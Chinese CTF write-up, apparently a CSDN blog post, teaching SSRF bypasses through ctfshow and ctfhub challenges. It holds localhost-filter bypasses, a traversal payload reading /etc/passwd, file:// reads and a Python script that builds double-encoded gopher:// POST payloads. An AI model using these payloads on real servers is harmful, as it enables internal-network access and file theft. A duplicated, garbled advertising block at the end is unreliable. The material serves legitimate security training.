以题为例浅谈SSRF,双非渣本Linux运维四年磨一剑

网址相关绕过

指向127.0.0.1的地址有如下地址

http://localhost/:localhost 代表127.0.0.1。
http://0/:0 在Windows中代表0.0.0.0,在Linux下代表127.0.0.1。
http://0.0.0.0/: 这个IP表示本机IPv4的所有地址。
http://[0:0:0:0:ffff:127.0.0.1]/:Linux 系统下可用,Windows系统下不可用
http://[::]:80/:Linux 系统下可用,Windows系统下不可用。
http://127 。0。0。1/:用中文句号绕过关键字检测。
http://①②⑦.①.①.①: 封闭式字母数字。
http://127.1/: 省略0。
http://127.000.000.001:1 和0的数量没影响,最终依然指向127.0.0.1。
url=http://sudo.cc/flag.php  //sudo.cc也可以指向127.0.0.1

http头相关绕过

httpsssss://

include()和file_get_contents()遇到不认识的文件头的时候就会将这个协议头当作文件夹从而造成目录穿越

如下面这个例子

// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>

payload

ssrf.php?url=httpsssss://../../../../../../etc/passwd

还有一些关于函数的绕过这位大佬写的非常详细:CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_ctf ssrf题型总结-CSDN博客

它在绕过中关于url的相关的写的非常的详细,可以看看

绕过总结

利用@

如:http://example@127.0.0.1

http://www.baidu.com@10.10.10.10和http://10.10.10.10请求时相同的

添加端口号

http://127.0.0.1:8080

利用短地址

http://dwz.cn/11SMa

ip地址进制转换

以192.168.109.150为例

首先,转换16进制:c0.a8.6d.96

接着,转换为八进制:300.250.155.226

即192.168.109.150=300250155226 访问:http://00300250155226

题目示例

多说无益,以题见真章

ctfshow web入门 ssrf

web351

打开题目看到源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?> 

对url进行了一系列的curl相关的操作,但并没有过滤任何东西

直接post就行

payload

url=127.0.0.1/flag.php
web352

看源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

比上一道题多了一个正则并且要求前缀是一个http或https,直接用0进行绕过,前面的绕过已经提及到了就不多说了;

payload

http://0/flag.php
web353

看源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

这道题又多加了一个过滤,过滤了.0,接着用.0.0.0.0进行绕过,上面的绕过已经写过了,在这里就不多说了;

payload

?url=http://0.0.0.0/flag.php
web354

源代码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这道题又多学了一种姿势,用sudo.cc指向127.0.0.1

payload

url=http://sudo.cc/flag.php
web355

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> 

限制了长度,绕过payload

http://0/flag.php
web356

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

还是限制了长度上一道题的payload仍然可以用;

web357

这道题留在后面,统一知识点进行解释

web358

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

这道题要求以http开头以show结尾

payload

url=http://ctf.@127.0.0.1/flag.php?show

在这里介绍下parse_url()函数的利用

它是对于url的一个分解

举例代码

<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>

//运行结果:
array(5) {
  ["scheme"]=>
  string(4) "http"
  ["host"]=>
  string(9) "127.0.0.1"
  ["user"]=>
  string(4) "ctf."
  ["path"]=>
  string(9) "/flag.php"
  ["query"]=>
  string(4) "show"
}

后面两道题也是统一进行解释说明

靶场ctfhub

在ctfhub中对于ssrf的知识点有以下几种,

内网访问

给的提示:尝试访问位于127.0.0.1的flag.php吧

打开后直接去访问就可以得到flag了

payload

?url=127.0.0.1/flag.php
伪协议读取文件

直接用伪协议读取flag文件

?url=file://var/www/html/flag.php

记得访问之后要查看源码才能得到flag

端口扫描

给了提示:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

直接抓包,在端口处添加变量在8000到9000之间进行爆破,找到和其它字段数长度不一样的就可以得到flag了

用bp爆破

POST请求

这道题给的提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

打开之后什么都没有,去访问源码

?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php

查看后得到两段源码

index.php的源码

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php源码

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
	<input type="text" name="key">
	<!-- Debug: key=<?php echo $key;?>-->
</form>

这里需要利用gopher://协议,先介绍一下gopher://协议的一些基本情况

    Gopher协议没有默认端口,需要制定POST方法,回车换行使用%0d%0a,参数之间的分隔符也用URL编码,其他与HTTP协议类似。

在访问?url=127.0.0.1/flag.php时,它告诉我们需要从127.0.0.1中来访问,那就是从内网进行访问,内网进行访问需要gopher://协议,进行POST请求;

构造gopher://协议,进行请求;

需要构造以下payload

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204

开始构造,有两种方法进行构造,第一种方法就是自己进行url编码,将上面这些内容进行两次url编码;在进行编码时需要注意以下方面

1.在使用gopher协议发送POST请求包时,Host,Content-Type和Content-Length请求头是必不可少的,但在GET请求中没有要求;

2.在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl时会进行第二次解码;所以我们要对请求包进行两次url编码;

3.在第一次编码后的数据中,将%0A全部替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节

这是编码之后的payload

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D51457bb0a50c1eb2c92dcc3ec3c2cc13

第二种方法就是用脚本

以下是借助大佬的脚本

import urllib.parse


payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=7a63523334ee824db18990ffc181d204
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

这个脚本运行结果和上面手动的结果一模一样

上传文件

看一下这道题的提示:这次需要上传一个文件到flag.php了.祝你好运

它需要上传一个flag.php文件,打开127.0.0.1/flag.php发现一个文件上传框,但只能选择文件不能上传文件,在源码中我们将文件上传框给补上,然后上传文件抓包,发现只有内网才能上传文件

我们构造post包进行传参

post包如下

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
 
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
 
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
 
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

我们可以使用Python脚本实现两次URL编码,第一次完成后需要将%0A修改为%0D%0A(也可以通过URL编码工具进行手动编码)

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数Linux运维工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Linux运维全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Linux运维知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip1024b (备注Linux运维获取)
img

毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

深知大多数Linux运维工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年Linux运维全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
[外链图片转存中…(img-bo3zdGJP-1712779092243)]
[外链图片转存中…(img-hu5syUyN-1712779092244)]
[外链图片转存中…(img-Ul2v8KfN-1712779092244)]
[外链图片转存中…(img-QVRBQ1vk-1712779092245)]
[外链图片转存中…(img-2VvbAJaM-1712779092245)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Linux运维知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip1024b (备注Linux运维获取)
[外链图片转存中…(img-0sD55qrY-1712779092245)]

  • 13
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值